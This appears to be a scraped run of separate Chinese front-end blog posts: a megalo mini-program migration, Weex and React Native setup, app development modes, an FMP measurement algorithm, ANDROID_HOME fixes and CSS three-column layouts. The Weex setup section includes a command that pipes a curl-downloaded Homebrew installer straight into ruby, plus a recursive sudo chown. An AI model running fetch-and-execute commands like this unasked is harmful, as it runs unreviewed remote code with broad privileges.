分散在构建树上。这使得每次按键操作就只能重绘需要重绘的组件了,也就是 input
。
ReviewsHeader 重绘消耗 3.18ms
React.PureComponent
和 reselect
在我们 React 应用的性能优化工具中是非常有用的两个工具。如果你喜欢做性能优化,那就加入我们吧,我们正在寻找才华横溢、对一切都很好奇的你。我们知道,Airbnb 还有大优化的空间,如果你发现了一些我们可能感兴趣的事,亦或者只是想和我聊聊天,你可以在 Twitter 上找到我 @lencioni。
着重感谢 Thai Nguyen 在 review 代码和清单页迁移到单页应用的过程中作出的贡献。♨️ 得以实施主要得感谢 Chrome DevTools 团队,这些性能可视化的工具实在是太棒了!另外 Netflix 是第二项优化的功臣。
感谢 Adam Neary。
掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。
上周,[email protected] 正式发布,优化了数据更新性能的同时,支持了百度智能小程序,着实激动了一把,这“可能”是目前社区里第一个同时支持三端小程序的 vue 小程序框架。下面我们就来试试他的效果。
官方文档的第一部分就是快速入门,顺藤摸瓜,构建一个 megalo 项目。
$ npm install -g @megalo/cli
$ megalo megalo-yanxuan-demo
以微信小程序为入口
$ npm run dev:wechat
至此一个完整的 megalo 项目就构建好了,接下来我们开始转移源码
我从以前 weex 的 demo 项目,yanxuan-weex-demo,为基础进行转移,转移过程中涉及到很多 weex 特有的 api 的移除和转换。
以网络请求为例,weex 是使用的 stream
let stream = weex.requireModule('stream');
export default {
methods: {
GET (api, callback) {
return stream.fetch({
method: 'GET',
type: 'json',
url: api
}, callback)
}
}
}
因为小程序都有提供网络请求的 API,所以此处对此进行改造,如下
export default {
methods: {
GET (api, callback) {
let { platform } = this.$mp || {},
request = ()=>{}
switch(platform) {
case 'wechat':
request = wx && wx.request
break;
case 'alipay':
request = my && my.httpRequest
break;
case 'swan':
request = swan && swan.request
break;
default:
break;
}
request && request({
url: api,
success: callback
})
}
}
}
类似的还有 toast、message 等组件的改造。
由于 weex 中的 <recycle-list>
、<loading>
、<refresh>
、<scroller>
等组件在小程序组件内是不存在的,所以有三种解决方案
比如 weex 的 <slider>
组件,可以用小程序的 <swiper>
替换,好在微信、支付宝和百度小程序都有支持。
Weex 容器默认的宽度 (viewport) 是 750px,小程序以 750rpx 为基。所以直接将需要的 px 转换成 rpx。
另外自己实现了 1 像素的 wpx,替换成 px 即可。
最后看下改造效果。同时执行三端
效果比预想的要好,没有过多的适配出错
demo 源码抛给大家供大家把玩。
只要现有工程没有做以下几件事,理论上,都是可以转移的,只需要稍微更新一下格式
- 使用 megalo 暂不支持的 vue 特性
- 涉及浏览器特有的 dom 操作,window、userAgent、location、getElementById 等
- 使用第三方组件库且该组件库使用了 dom 操作
- 使用了 vue-router,暂不支持
不过,方案都是可以调整的,以上功能在社区均可以找到替代方案。
换之即可。
《Megalo 官方文档》
《megalo -- 网易考拉小程序解决方案》
《Megalo github》
首发:zwwill/blog#29
作者:木羽
转载请标明出处
weex有什么好的适配方案吗?直接写px,在不同的手机上表现是有问题的
本不想写此引导性博文的,但个人在创建第一个Demo时确实出现了太多坑,且官方并未给出很好但入门引导。顾撰写此文,希望对初学者有所帮助,不至于出现“从入门到弃门而去”的现象。文中若有不当之处,还请不吝指正。
根据你所使用的操作系统、针对的目标平台不同,具体步骤有所不同。如果想同时开发iOS和Android也没问题,你只需要先选一个平台开始,另一个平台的环境搭建只是稍有不同。
Homebrew, Mac系统的包管理器,用于安装NodeJS和一些其他必需的工具软件。
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
译注:在Max OS X 10.11(El Capitan)版本中,homebrew在安装软件时可能会碰到/usr/local
目录不可写的权限问题。可以使用下面的命令修复:
$ sudo chown -R `whoami` /usr/local
使用Homebrew来安装Node.js,或直接安装
**Weex目前需要NodeJS 6.0或更高版本。**Homebrew默认安装的是最新版本,一般都满足要求。
$ brew install node
安装完node后建议设置npm镜像以加速后面的过程(或使用科学上网工具)。注意:不要使用cnpm!cnpm安装的模块路径比较奇怪,packager不能正常识别!
$ npm config set registry https://registry.npm.taobao.org --global
$ npm config set disturl https://npm.taobao.org/dist --global
如果要支持 iOS 平台则需要配置 iOS 开发环境
安装 Xcode IDE ,启动一次 Xcode ,使 Xcode 自动安装开发者工具和确认使用协议。
安装 cocoaPods。
虽然一般来说命令行工具都是默认安装了,但你最好还是启动Xcode,并在Xcode | Preferences | Locations菜单中检查一下是否装有某个版本的Command Line Tools。Xcode的命令行工具中也包含一些必须的工具,比如git等。
如果要支持 Android 平台则需要配置 Android 开发环境:安装 Android Studio(推荐)或者 Android SDK。打开 AVD Manager ,新建 Android 模拟器并启动 。(如果有安装 Docker ,请关闭 Docker Server 。)
保证Android build-tool的版本为23.0.2。
weex-toolkit 是官方提供的一个脚手架命令行工具,你可以使用它进行 Weex 项目的创建,调试以及打包等功能。
使用 npm 安装:
$ npm install -g weex-toolkit
安装成功后,你输入 weex,应该可以看到下面的提示效果:
如果你安装的过程中遇到了问题,比如 permission error 你可以去 weex-toolkit issues 找到解决方法。
weexpack 是新一代的weex应用工程和插件工程开发套件,是基于weex快速搭建应用原型的利器。可以创建weex应用工程和插件工程,快速打包 weex 应用并安装到手机运行,还可以创建weex插件模版并发布插件到weex应用市场。 使用weexpack 能够方便的在在weex工程和native工程中安装插件。
$ npm install -g weexpack
$ weexpack create appName
生成工程的目录如下:
WeexProject
├── README.md
├── android.config.json
├── config.xml
├── hooks
│ └── README.md
├── ios.config.json
├── package.json
├── platforms // 平台模版目录
├── plugins // 插件下载目录
│ └── README.md
├── src // 业务代码(we文件)目录
│ └── index.we
├── start
├── start.bat
├── tools
│ └── webpack.config.plugin.js
├── web
│ ├── index.html
│ ├── index.js
│ └── js
│ └── init.js
└── webpack.config.js
通过 create 命令创建的工程默认不包含 ios 和 android 工程模版,创建完成之后就可以切换到appName目录下并安装依赖。
$ cd appName && npm install
添加应用模版,官方提供的模版默认支持 weex bundle 调试和插件机制,注意模版名称均为小写,模版被安装到platforms目录下。
IOS
$ weexpack platform add ios
Android
$ weexpack platform add android
安装模版之后,会在工程目录下增加如下模版目录
WeexProject
├── platforms
│ ├── ios
│ └── android
直接上代码吧,一下是初始化的自带Weex代码,位于/src/index.vue
<template>
<div class="wrapper" @click="update">
<image :src="logoUrl" class="logo"></image>
<text class="title">Hello {{target}}</text>
<text class="desc">Now, let's use vue to build your weex app.</text>
</div>
</template>
<style>
.wrapper { align-items: center; margin-top: 120px; }
.title { padding-top:40px; padding-bottom: 40px; font-size: 48px; }
.logo { width: 360px; height: 156px; }
.desc { padding-top: 20px; color:#888; font-size: 24px;}
</style>
<script>
export default {
data: {
logoUrl: 'http://img1.vued.vanthink.cn/vued08aa73a9ab65dcbd360ec54659ada97c.png',
target: 'World'
},
methods: {
update: function (e) {
this.target = 'Weex'
console.log('target:', this.target)
}
}
}
</script>
Weex开发使用了VUE的框架,基本语法详见官方手册
执行如下命令
$ npm run build //web工程打包
$ npm run dev & npm run serve
$ weex src/index.vue
EACCES
报错,可以使用sudo
命令执行。官方给的启动指令为
$ weex run ios
或者
$ weexpack run ios
但是如此运行坑较多不说,问题排查起来也是很麻烦,推荐使用xcode运行
这块也是官方未提及的部分
添加Weex中ios工程
选对工程文件,
注意:此处应选择文件WeexDemo.xcworkspace
打开后简单的简单点配置下基本配置,如项目名、识别符、版本、开发者等
你可以选择虚拟机活着真机执行
然后点击执行即可
如果你看到如下界面,说明你的环境和配置已经走通了,后面可以发挥你的真正实力了!
如果你看到的是如下界面,说明还有地方需要打磨
如果你构建的时候报如下错误,请对号入座解决问题。
1、'ATSDK/ATManager.h' file not found
'ATSDK/ATManager.h' file not found
解决方法:
http://www.jianshu.com/p/88a33c570692
2、could not find gradle wrapper within android sdk
error: could not find gradle wrapper within android sdk. might need to update your android sdk
解决方法:
http://www.jianshu.com/p/5d925413c79f
3、Environment variable $ANDROID_HOME not found
MacOS开发Android app经常会遇到环境的坑,$ANDROID_HOME就是其中之一
解决方法:
#17
4、weex-vue-render/index.js(404 Not Found)
资源报错【weex-vue-render/index.js】(404 Not Found)
解决方法:
http://www.jianshu.com/p/75867f209310
其他问题后续持续更新,欢迎留言或关注专题【WeexHub】
Native、Web App、Hybrid、ReactNative(后面以RN简称)、WEEX间的异同点
此处APP为应用,application,并非我们通常讲的手机App
常用的几种APP开发模式-脑图
传统的原生APP开发模式,有IOS和AOS两大系统,需要各自语言开发各自APP。
优点:性能和体验都是最好的
缺点:开发和发布成本高
举个栗子:网易管家APP (Tab1,Tab2)
应用技术:Swift,OC,JAVA
移动端的网站,常被称为H5应用,说白了就是特定运行在移动端浏览器上的网站应用。一般泛指 SPA(Single Page Application)模式开发出的网站,与MPA(Multi-page Application,再后面做介绍)对应。
优点:开发和发布成本最低
缺点:性能和体验不能讲是最差的,但也受到浏览器处理能力的限制,多次下载同样会占用用户一定的流量
举个栗子:网易管家APP(Tab3)
应用技术:ReactJS,RegularJS等
混合模式移动应用,介于web-app、native-app这两者之间的app,兼具“Native App良好交互体验的优势”和“Web App跨平台开发的优势”(百度百科解释)
主要的原理是,由Native通过JSBridge等方法提供统一的API,然后用HTML+CSS实现界面,JS来写逻辑,调用API,最终的页面在webview中显示,这种模式下,Android、iOS的API一般有一致性,Hybrid App所有有跨平台效果。
优点:开发和发布都比较方便,效率介于Native App、Web App之间
缺点:学习范围较广,需要原生配合
举个栗子:网易云音乐,我爱我家App
应用技术:PhoneGap,AppCan,Wex5
Facebook发现Hybrid App存在很多缺陷和不足,于是发起开源的一套新的APP开发方案RN App。。使用JSX语言写原生界面,js通过JSBridge调用原生API渲染UI交互通信。
优点:效率体验接近Native App,发布和开发成本低于Native App
缺点:学习有一定成本,且文档较少,免不了踩坑
举个栗子:Facebook、youtube、discord、QQ、百度等等
阿里巴巴开发团队在RN的成功案例上,重新设计出的一套开发模式,站在了巨人肩膀上并有淘宝团队项目做养料,广受关注,2016年4月正式开源,并在v2.0版本官方支持Vue.js,与RN分庭抗礼。
优点:开发效率和体验上跟RN不相上下,并且跨平台性更强
缺点:刚刚起步,社区没有RN活跃
举个栗子:淘宝、天猫、饿了么等
Native App是一种基于智能手机本地操作系统如iOS、Android、WP并使用原生程式编写运行的第三方应用程序,也叫本地app。一般使用的开发语言为JAVA、C++、Objective-C。
自iOS和Android这两个的手机操作系统发布以来,在互联网界从此就多了一个新的名词:App意为运行在智能的移动终端设备第三方应用程序)。
Native App因为位于平台层上方,向下访问和兼容的能力会比较好一些,可以支持在线或离线,消息推送或本地资源访问,摄像拨号功能的调取。但是由于设备碎片化,App的开发成本要高很多,维持多个版本的更新升级比较麻烦,用户的安装门槛也比较高。但是比较乐观的是,AppStore培养了一种比较好的用户付费模式,所以在Apple的生态圈里,开发者的盈利模式是一种明朗状态,其他market也在往这条路上靠拢。
1、相比于其它模式,提供最佳的用户体验,最优质的用户界面,最华丽的交互
2、针对不同平台提供不同体验
3、可节省带宽成本,打开速度更快
4、功能最为强大,特别是在与系统交互中,几乎所有功能都能实现
1、门槛高,原生开发人才稀缺,至少比前端和后端少,开发环境昂贵
2、无法跨平台,开发的成本比较大,各个系统独立开发
3、发布成本高,需要通过store或market的审核,导致更新缓慢
4、维持多个版本、多个系统的成本比较高,而且必须做兼容
5、应用市场逐渐饱和,怎么样抢占用户时间需要投入大量时间和金钱,这也导致“僵尸”App的增多
说到Web App不少人会联想到WAP,或者有人认为,WAP就是WebApp,其实不然。
WebApp与WAP最直接的区别就是功能层面。WAP更侧重使用网页技术在移动端做展示,包括文字、媒体文件等。而Web App更侧重“功能”,是使用网页技术实现的App。总的来说,Web App就是运行于网络和标准浏览器上,基于网页技术开发实现特定功能的应用。
响应式的大部分技术都是为实现WebApp能适配多类客户端而设计的。
Web网站一般分两种,MPA(Multi-page Application)和SPA(Single-page Application)。而WebApp一般泛指SPA形式开发出的网站。这样更像是一个App。
1、可以跨平台,调试方便
2、无需安装,不会占用手机内存,而且更新速度最快
3、不存在多版本问题,维护成本低
4、临时入口,可以随意嵌入
1、依赖于网络,第一次访问页面速度慢,耗费流量
2、受限于手机和浏览器性能,用户体验相较于其他模式最差
3、功能受限,大量移动端功能无法实现
4、入口强依赖于第三方浏览器,且只能以URL地址的形式存在,导致用户留存率低(优点即缺点)
混合开发,也就是半原生半Web的开发模式,由原生提供统一的API给JS调用,实际的主要逻辑有Html和JS来完成,最终是放在webview中显示的,所以只需要写一套代码即可达到跨平台效果,另外也可以直接在浏览器中调试,很方便。最重要的是只需要一个前端人员稍微学习下JS api的调用即可。
Hybird App 的较早实践者是PhoneGap,随后遍地开花,如Titanium、Salama、WeX5、Kerkee和国内的AppCan,项目各有各的实现方式,大致的原理基本相同。有幸在AppCan上海总部参与过一段时间的学习研究,如下大致简介:
AppCan是基于HTML5技术的Hybird跨平台移动应用开发工具。开发者利用HTML5+CSS3+JavaScript技术,通过AppCan IDE集成开发系统、云端打包器等,快速开发出Android、iOS、WP平台上的移动应用。
在实际的APP开发中,AppCan可以完成大部分的工作量,如图示:
AppCan将APP底层复杂的原生功能封装在引擎、插件中,开发者仅需调用接口、打包编译,就可以获得原生功能;灵活的插件扩展机制。
开发者可以像开发WebApp一样开发app的视觉UI,以及绝大部分的交互,当需要使用原生功能(如摄像头,陀螺仪等功能)时,只需要调用官方的API就可以轻松实现Native的效果。至于JS和Native的通信,常用的有URL监听和绝大部分Hybrid厂商使用的JSBridge通信,两者原理相近。
关于JsBridge的原理详解,可见http://blog.csdn.net/xiangzhihong8/article/details/66970600
在Hybird概念盛行的时候,国内外各大公司也参与了探索,国外代表有Facebook、google、亚马逊,国内的有腾讯、阿里巴巴、网易等,慢慢的他们发现Hybird严重受限于WebView的解析渲染效率,于是Facebook开始了他的类原生的研究探索。
上篇讲到,权重值定位性能指标 FMP,至于怎么算权重讲的不是很清楚,此篇将就如何「相对准确」算出权重值以及怎样筛选出我们想要的 FMP 值。
以下内容「择重略轻」
MutationObserver
一句话解释
「MutationObserver 给予我们获取 DOM 渲染「切面」的能力」。
「MDN 解释」MutationObserver 接口提供了监视对 DOM 树所做更改的能力。它被设计为旧的 Mutation Events 功能的替代品,该功能是 DOM3 Events 规范的一部分。
更多使用细节详见 https://developer.mozilla.org/zh-CN/docs/Web/API/MutationObserver
有了以上能力,既可以对节点进行监听和 「标记」
像这样
// 伪代码
new MutationObserver(() => {
let timestamp = performance.now() || (Date.now() - START_TIME),
doTag(document.body, global.paintTag++);
global.ptCollector.push(timestamp);
});
名词解释:
window.load 开始计算
我们认为,通常情况下,在 window 触发 load 事件的时刻,意味着主要业务的 90% 的资源和 dom 都已经准备就绪。此时算出的高权重得分的 dom 就是我们想要找的 FMP 关键节点。
我不关心你是怎么渲染的,异步也好直出也好,殊途同归,我只关心结果
一个基础节点(无子节点)的权重得分计算方法:
// 伪代码
const TAG_WEIGHT_MAP = {
SVG: 2,
IMG: 2,
CANVAS: 2,
VIDEO: 4
};
node => {
let weight = TAG_WEIGHT_MAP[node.tagName],
areaPercent = global.calculateShowPercent(node);
let score = width * height * weight * areaPercent;
return score;
}
关于 calculateShowPercent 用下图解释
这是一个算法我把它叫做「代父竞选」
父节点自身的权重得分计算方法同基础节点相同,不同的是,如果其子节点的得分和大于或等于了自身的得分,将由子节点组代替父节点参与升高级的竞选,同时,子节点的权重得分和作为父节点的得分。
怎么理解呢?
如下两种情况:
一
父元素得分 = 400 * 100 = 40000
子元素得分和 = 300 * 60 + 60 * 60 = 21600
父元素得分 > 子元素得分和
此情况下,该组元素以 40000 的得分进入下一级竞选。参选的元素列表为父元素本身。
数据结构如下:
{
deeplink: [{…}],
elements: [{
node: parent#id_search,
...
}],
node: parent#id_search,
paintIndex: 1,
score: 40000
}
二
父元素得分 = 400 * 300 = 120000
子元素得分和 = 400 * 300 + 60 * 100 = 126000
父元素得分 < 子元素得分和
此情况下,该组元素应以 126000 的得分进入下一级竞选。参选的元素列表为子元素组,「代父竞选」。
数据结构如下:
{
deeplink: [{…}],
elements: [
{node: child#id_slides_pics, ...},
{node: child#id_slides_index, ...}
],
node: parent#id_slides,
paintIndex: 2,
score: 126000
}
由以上两种情况可推
父元素得分 = 400 * 400 = 160000
子元素得分和 = 40000 + 126000 = 166000
父元素得分 < 子元素得分和
其中一个子节点由孙子节点们代表
==>
{
deeplink: [{…}],
elements: [
{node: child#id_search, ...},
{node: child#id_slides_pics, ...},
{node: child#id_slides_index, ...}
],
node: parent#id_body,
paintIndex: 1,
score: 166000
}
所以,以下组合与拆分就不难理解了。
在我们对 document 深度遍历计算的过程中,总会遇到一些干扰因素使我们的脚本计算出错,以下两种就是最常见的
这种元素虽然用户无感知,但会严重影响最后的竞选结果。
const isIgnoreDom = node => {
return getStyle(node, 'opacity') < 0.1 ||
getStyle(node, 'visibility') === 'hidden' ||
getStyle(node, 'display') === 'none' ||
node.children.length === 0 &&
getStyle(node, 'background-image') === 'none' &&
getStyle(node, 'background-color') === 'rgba(0, 0, 0, 0)';
}
首先我们认为**opacity < 0.1
visibility === 'hidden'
和 display === 'none'
的元素为不可见元素,应忽略**,另外,无子节点,且无背景无颜色的元素也归属于不可见元素,忽略。
由于我们的脚本在 window load 后才执行,绝大情况下此时浏览器的滚动条已经发生了偏移。精选结果会发生误差。如下图:
此时精选结果为
<div class="channel" _pi="30">...</div>
_pi 走到了 30,「第 30 次渲染」,无论有多快,这个值始终会远大于实际的 FMP。
导致「滚动偏移」的情况有两种
load
触发前用户主动翻阅pending
的资源,load 的时间会非常迟。load
浏览器触发前执行了「scrollRestore (英文描述,并不存在此事件)」对于第二种情况,还是很好解的,因为并不是所有的浏览器都有 History.scrollRestoration 的特效,所以,我们只要关掉即可,但情况一我们是无论如何不能控制的。
所以,只能另辟蹊径「划定计算区域」,且此区域应避开滚动条位置的影响。
当然,我们也是有方法的,其实也挺简单。
这得益于「document 对象的宽高是固定的,且偏移量同步于滚动条」
const getDomBounding = dom => {
const { x, y } = document.body.getBoundingClientRect();
const { left, right, top, bottom, width, height } = dom.getBoundingClientRect();
return {
left: left - x,
right: right - x,
top: top - y,
bottom: bottom - y,
height, width
}
}
如果以上有遗漏情况,还请不吝赐教,不胜感激!🤝
像 <DIV/>
、<SPAN/>
、<P/>
、<INPUT/>
这些普通元素,标注的 _pi 值索引到的渲染时刻的时间节点 ptCollector
还记得吗?该时间即可作为 FMP 值。
有特殊情况,如果普通元素带有背景图片,则会升级为 <IMG/>
类资源元素
如 <IMG/>
、<VIDEO/>
,该元素的 resource 的 responseEnd
的时间节点将作为 FMP 值
不过,我们可以针对不同的项目对全局权重配置
TAG_WEIGHT_MAP
做「合理化」调整。当然也可以忽略「图片」和「视频」等资源元素资源加载时间,一切以实际项目而定
作者:木羽
转载请标明出处
MacOS开发Android app经常会遇到环境的坑,$ANDROID_HOME就是其中之一
如果碰到这个信号就要注意了,解决这个问题的方式有很多,度娘、狗狗马上告诉你答案,但适合自己的才是最好的,因为方法治标不治本(新启动的terminal由被还原了)
首先你要知道你的SDK安装在哪里,有几种可能
1、直接从WEB上下载的SDK
ANDROID_HOME= .../ADT/sdk
如果拖拽到了【应用程序】(Applications)目录下
ANDROID_HOME=~/Applications/ADT/sdk
2、使用Homebrew (brew install android-sdk)下载
ANDROID_HOME=/usr/local/Cellar/android-sdk/{YOUR_SDK_VERSION_NUMBER}
3、 随Android Studio下载
ANDROID_HOME=/Users/{YOUR_USER_NAME}/Library/Android/sdk
export ANDROID_HOME={YOUR_PATH}
#mine: export ANDROID_HOME=/Users/zwwill/Library/Android/sdk
#or : export ANDROID_HOME=~/Library/Android/sdk
export PATH=$PATH:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools
或者将以上脚本配置到~/.bash_profile
文件下,如果没有就新建一个,然后执行
source ~/.bash_profile
突然有一天,脑之里不知怎地蹦出一个词,「双飞翼」,这是很久以前的淘宝提出的一种三栏布局优化方案,然而,时间久了已经不记得(换句话说是不理解)为啥要提出这个布局了,昨天在 SF 上发起了一个提问,但良久未有人答复,幸得@王能全是谁 提醒,终于回想起「双飞翼」的完整意义了。谨以此文同大家分享这段心路历程。
说到「双飞翼」就不得不提及「圣杯」,两者均为三栏布局的优化解决方案如下图
常规情况下,我们的布局框架使用以下写法,从上到下,从左到右。
<header>header</header>
<section>
<aside>left</aside>
<section>main</section>
<aside>right</aside>
</section>
<footer>footer</footer>
问题倒是没什么问题,然而,如果我们希望中部 main 部分优先显示的话,是可以做布局优化的。
因为浏览器渲染引擎在构建和渲染渲染树是异步的(谁先构建好谁先显示),那么将<section>main</section>
部分提前即可优先渲染。
<header>header</header>
<section>
<section>main</section>
<aside>left</aside>
<aside>right</aside>
</section>
<footer>footer</footer>
于是乎,国外的前辈就提出了「圣杯」布局,目的就是通过 css 的方式配合上面的 DOM 结构,优化 DOM 渲染。
我们来简要地了解一下「圣杯」布局,这不是重点。
<template>
<header>header</header>
<section class="wrapper">
<section class="col main">main</section>
<aside class="col left">left</aside>
<aside class="col right">right</aside>
</section>
<footer>footer</footer>
</template>
<style>
/* 以下为简码,仅保留关键部分 */
header,footer {height: 50px;}
.wrapper {padding: 0 100px 0 100px; overflow:hidden;}
.col {position: relative; float: left;}
.main {width: 100%;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;left: -100px;}
.right {width: 100px; height: 200px; margin-left: -100px; right: -100px;}
</style>
使用了 relative 相对定位
、float
(需要请浮动,此处使用 overflow:hidden;
方法)和 负值 margin
,将 left 和 right 部分「安装」到 wrapper
的两侧,顾名「圣杯」。具体的思路我就不再做赘述了,网上到处都是解释。
当然,正常情况下是没有问题的,但是特殊情况下就会暴露此方案的弊端,如果将浏览器无线变窄,「圣杯」将会「破碎」掉。如图,当 main
部分的宽小于 left
部分时就会发生布局混乱。
于是,淘宝软对针对「圣杯」的缺点做了优化,并提出「双飞翼」布局。
同样的我们来看简码
<template>
<header>header</header>
<section class="wrapper">
<section class="col main">
<section class="main-wrap">main</section>
</section>
<aside class="col left">left</aside>
<aside class="col right">right</aside>
</section>
<footer>footer</footer>
</template>
<style>
/* 以下为简码,仅保留关键部分 */
header,footer {height: 50px;}
.wrapper {padding: 0; overflow:hidden;}
.col {float: left;}
.main {width: 100%;}
.main-wrap {margin: 0 100px 0 100px;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;}
.right {width: 100px; height: 200px; margin-left: -100px;}
</style>
同样使用了 float
和 负值 margin
,不同的是,并没有使用 relative 相对定位
而是增加了 dom 结构,增加了一个层级。确实解决了圣杯布局的缺陷。
双飞翼布局表面上看是很优秀,但是细细想来,为什么要多加一层 dom 树节点,这岂不是增加了 css 样式规则表和 dom 树合并成布局树的计算量吗?
细想想,我们可以使用绝对布局,将左右侧边栏定位到到两侧啊?好像也不会出现圣杯布局的毛病?
<template>
<header>header</header>
<section class="wrapper">
<section class="col main">main</section>
<aside class="col left">left</aside>
<aside class="col right">right</aside>
</section>
<footer>footer</footer>
</template>
<style>
/* 以下为简码,仅保留关键部分 */
header,footer { height: 50px;}
.wrapper { position: relative;}
.main { height: 200px; margin:0 100px;}
.left, .right{ width: 100px; height: 200px; position: absolute; top: 0;}
.left{ left: 0;}
.right{ right: 0;}
</style>
没有使用 float
(不用请浮动)也没有 负值 margin
,仅仅使用了 absolute 绝对定位
,好像更优秀呢?
但是细细想想,单纯的绝对定位有一个问题,「高度不可控」,我们假设,如果 left
部分的高度高于 main
,是不是 left
没有能力撑起整个 wrapper
?
「四不四」~~!
那么我们再来看看双飞翼和圣杯的情况
都是下图。
「应戳死听」~~!
那这么看来,所有的方案都或多或少存在一些问题。综合来看,不管 left
, main
, right
的大小高低如何,「双飞翼」布局都能正常显示,嗯~~确实很优秀。
综上所见,「双飞翼」布局更胜一筹。但是,这是一个「锤子和钉子」的问题,我们应该拿着钉子找锤子,而不是拿着锤子找钉子,因为,当你有了最大的锤子,看到什么都是钉子。
唉~,我又在装逼了。 \( ̄︶ ̄)/
说白了,就是,对症下药,没有最好的方案,只有最适合的。关于三栏布局,我帮大家列出一个对照表,以便大家快速选择。
- | 优点 | 缺点 |
---|---|---|
圣杯 | 结构简单,无多余 dom 层 | 中间部分宽度小于左侧时布局混乱 |
绝对定位 | 结构简单,且无需清理浮动 | 两侧高度无法支撑总高度 |
双飞翼 | 支持各种宽高变化,通用性强 | dom 结构多余层,增加渲染树生成的计算量 |
以上为个人理解,如有不对或可补充之处,还请指点。
另外关于 CSS 布局方案,和前端性能优化部分,移驾一下文章
多行多列类布局方案总结
前端性能优化总结
ReactNative的文档地址有多个,如果你英文够好,就去研读官方的文档吧,
如果读原文比较吃力,中文官网也是不错的选择。
下面是我个人记录的一些笔记,仅供初学者入门参考
入门React Native前需要了解一下知识,这样能帮助你更快的掌握RN
Node:Node.js 教程
ReactJS:《React 入门实例教程》
ES6:《ECMAScript 6 入门》
IOS : MacOS
, 黑苹果
Android :MacOS
, Linux
, Windows
所有的技术学习都应该从环境搭建开始,这里也没什么好总结的,最好的方法就是跟着官网指导配置环境
如果你是node的老手,那就直接动手安装以下环境吧:
react-native init RNDemo
cd RNDemo
react-native run-ios
如果你的虚拟机启动了,那么恭喜你,你的环境已经配置成功!
如果运行报错,可以文章最后找寻解决方案。
首先需要了解一些基本的React的概念,比如JSX语法、组件、state状态以及props属性。
还需要掌握一些React Native特有的知识,比如原生组件的使用。
教程上的东西我就不多说了,官方文档上有详细的讲解
直接从代码上讲解新手注意点吧
传统惯例,入门先行,Hello World
你可以新建一个项目,然后用上面的代码覆盖你的index.ios.js或是index.android.js 文件,然后运行看看。
import React, { Component } from 'react';
import { AppRegistry, StyleSheet, Text } from 'react-native';
class HelloWorldApp extends Component {
render() {
return (
<Text style={styles.red}>Hello world!</Text>
);
}
}
const styles = StyleSheet.create({
red: {
color: 'red',
fontWeight: 'bold',
}
});
// 注意,这里用引号括起来的'HelloWorldApp'必须和你init创建的项目名一致
AppRegistry.registerComponent('HelloWorldApp', () => HelloWorldApp);
从语法上看,RN和ReactJS语法区别不大,都是采用JSX和ES6的形式,如果你对ReactJS和ES6不熟悉,建议你先拜读下阮一峰的博文教程:《React 入门实例教程》,《ECMAScript 6 入门》
相较写Web App,区别在于RN的语法引入了原生的组件
import { AppRegistry, StyleSheet, Text } from 'react-native';
RN中虽然使用JS写原生UI,但不再使用常规HTML标签 <div>
或是 <span>
,而是使用RN的组件 <Text>
AppRegistry
模块写在index.ios.js或是index.android.js文件里,用来告知React Native哪一个组件被注册为整个应用的根容器,一般一个应用只运行一次。
仅仅使用props和基础的View、Text、Image以及TextInput组件,就足以编写各式各样的UI组件了
按照JSX的语法要求使用了驼峰命名法:
React Native中的尺寸都是无单位的,表示的是与设备像素密度无关的逻辑像素点:
<View style={{width: 50, height: 50, backgroundColor: 'powderblue'}} />
事件的注册跟ReactJS没什么区别
class MyButton extends Component {
_onPressButton() {
console.log("You tapped the button!");
}
render() {
return (
<TouchableHighlight onPress={this._onPressButton}>
<Text>Button</Text>
</TouchableHighlight>
);
}
}
此处注册的组件为TouchableHighlight
,具体使用哪种组件,取决于你希望给用户什么样的视觉反馈
常用的事件有:
点击:onPress
长按:onLongPress
缩放:maximumZoomScale,minimumZoomScale
另外关于Props、State、样式、布局、事件等知识点的详解,官方文档上都有详细的讲解,比较基础,这里就不做介绍了
'Learn Once,Write Anywhere' and not 'Write Once,Running Anywhere'.
RN并不能算上是真正的跨平台的语言,虽然可以通过打包实现不同平台打包不同组件,但是有些组件需要我们针对不同平台编写不同代码。这就要求我们不用储备一些原生开发的知识。
RN的本质是在两个模块之间搭建双向桥梁,让他们可以相互调用和响应,简单的示意图为
运行在主线程上(可能会有些独立的后台线程处理运算,当前讨论中可忽略)
iOS平台上运行Object-C/Swift代码,Android平台上运行Java/Kotlin代码
负责处理UI的渲染,事件响应。
运行在JS引擎的JS线程上
运行JS代码
负责处理业务逻辑,还包括了应该显示哪个界面,以及如何给页面加样式。
Native和JS模块之间不能直接通信,只能通过Bridge做序列化和反序列化,查找模块,调用模块等各种逻辑,最终反应到应用上
使用React Native替代基于WebView的框架,使App刷新可以达到每秒60帧(足够流畅),并且能有类似原生App的外观和手感,虽然RN框架已经提供了这个平衡的能力,但平衡点的选择却掌握在开发者手中,即便是Native也无法避免开发方式带来的性能消耗
业务逻辑运行在JS线程上,负责API的调用,事件的处理,状态的更新,而事件的响应UI的变化发生在主线程上,60帧/s的频率要求每一帧的响应处理只有16.67(1000/60)ms,如果超过了16.67ms就会发生丢帧,如果丢帧超过100ms就会产生明显的卡顿现象。所有降低每一帧运算的消耗才能提升性能。
UI事件响应: 性能影响小
UI更新: JS侧会向Native侧同步大量的UI结构和数据,界面复杂、变动数据大,或者做动画、变动频繁,容易出现性能问题。
UI事件响应和UI更新同时出现: 两种事件如果占用了过多的线程,就会导致另一种事件不能及时响应,表现在应用上就是卡顿
console,ListView,动画Animated
经过多年的发展和优化,JS和Native可以在各自的模块线程高效迅速的运行,性能的瓶颈主要在Bridge模块上,尤其是在JS和Native模块间频繁的调用会导致Bridge压力过大,产生卡顿
RN的开发并没有一种高质量产出的方法,因为各个项目间有着不同的组件组合,因此只能通过高效的开发方式来尽可能的优化应用。
一般来说,通过几版优化都能达到“极致体验”的要求。
下面列一下高效开发方式的流水:
1、RN是使用脚本语言来编写的,是的代码可以不用事先编译便可即读即运行
2、RN在发布时将代码资源打包成一个文件 bundle js文件
3、其他的基础插件不变,仅仅替换一个bundle文件就实现了热更新
##流程
##Rushy
Rushy是国内RN团队自主研发的一套热更新包管理平台
###Pushy的特点:
RN同ReactJS一样,有着强大的社区,从RN版本更新的速度上就可以看出来
平均2个月一个版本
google的搜索结果也能说明RN的影响力
